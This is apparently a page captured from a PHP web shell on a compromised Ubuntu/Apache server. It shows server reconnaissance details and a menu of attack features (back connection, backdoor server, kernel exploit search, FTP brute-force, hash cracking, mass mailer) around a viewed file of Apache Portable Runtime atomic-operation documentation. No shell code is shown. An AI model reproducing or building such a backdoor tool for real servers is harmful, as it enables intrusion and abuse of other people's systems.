|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 23.04 GB of 70.42 GB (32.72%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
share/
doc/
libapr1-dev/
html/
- drwxr-xr-x
|
Viewing file: group__apr__atomic.html (20.28 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
Apache Portable Runtime: Atomic Operations
Function Documentation
apr_uint32_t apr_atomic_add32 |
( |
volatile apr_uint32_t * |
mem, |
|
|
apr_uint32_t |
val |
|
) |
| |
atomically add 'val' to an apr_uint32_t
- Parameters:
-
mem | pointer to the object |
val | amount to add |
- Returns:
- old value pointed to by mem
apr_uint32_t apr_atomic_cas32 |
( |
volatile apr_uint32_t * |
mem, |
|
|
apr_uint32_t |
with, |
|
|
apr_uint32_t |
cmp |
|
) |
| |
compare an apr_uint32_t's value with 'cmp'. If they are the same swap the value with 'with'
- Parameters:
-
mem | pointer to the value |
with | what to swap it with |
cmp | the value to compare it to |
- Returns:
- the old value of *mem
void* apr_atomic_casptr |
( |
volatile void ** |
mem, |
|
|
void * |
with, |
|
|
const void * |
cmp |
|
) |
| |
compare the pointer's value with cmp. If they are the same swap the value with 'with'
- Parameters:
-
mem | pointer to the pointer |
with | what to swap it with |
cmp | the value to compare it to |
- Returns:
- the old value of the pointer
int apr_atomic_dec32 |
( |
volatile apr_uint32_t * |
mem | ) |
|
atomically decrement an apr_uint32_t by 1
- Parameters:
-
mem | pointer to the atomic value |
- Returns:
- zero if the value becomes zero on decrement, otherwise non-zero
apr_uint32_t apr_atomic_inc32 |
( |
volatile apr_uint32_t * |
mem | ) |
|
atomically increment an apr_uint32_t by 1
- Parameters:
-
- Returns:
- old value pointed to by mem
this function is required on some platforms to initialize the atomic operation's internal structures
- Parameters:
-
- Returns:
- APR_SUCCESS on successful completion
apr_uint32_t apr_atomic_read32 |
( |
volatile apr_uint32_t * |
mem | ) |
|
atomically read an apr_uint32_t from memory
- Parameters:
-
void apr_atomic_set32 |
( |
volatile apr_uint32_t * |
mem, |
|
|
apr_uint32_t |
val |
|
) |
| |
atomically set an apr_uint32_t in memory
- Parameters:
-
mem | pointer to the object |
val | value that the object will assume |
void apr_atomic_sub32 |
( |
volatile apr_uint32_t * |
mem, |
|
|
apr_uint32_t |
val |
|
) |
| |
atomically subtract 'val' from an apr_uint32_t
- Parameters:
-
mem | pointer to the object |
val | amount to subtract |
apr_uint32_t apr_atomic_xchg32 |
( |
volatile apr_uint32_t * |
mem, |
|
|
apr_uint32_t |
val |
|
) |
| |
exchange an apr_uint32_t's value with 'val'.
- Parameters:
-
mem | pointer to the value |
val | what to swap it with |
- Returns:
- the old value of *mem
void* apr_atomic_xchgptr |
( |
volatile void ** |
mem, |
|
|
void * |
with |
|
) |
| |
exchange a pair of pointer values
- Parameters:
-
mem | pointer to the pointer |
with | what to swap it with |
- Returns:
- the old value of the pointer
|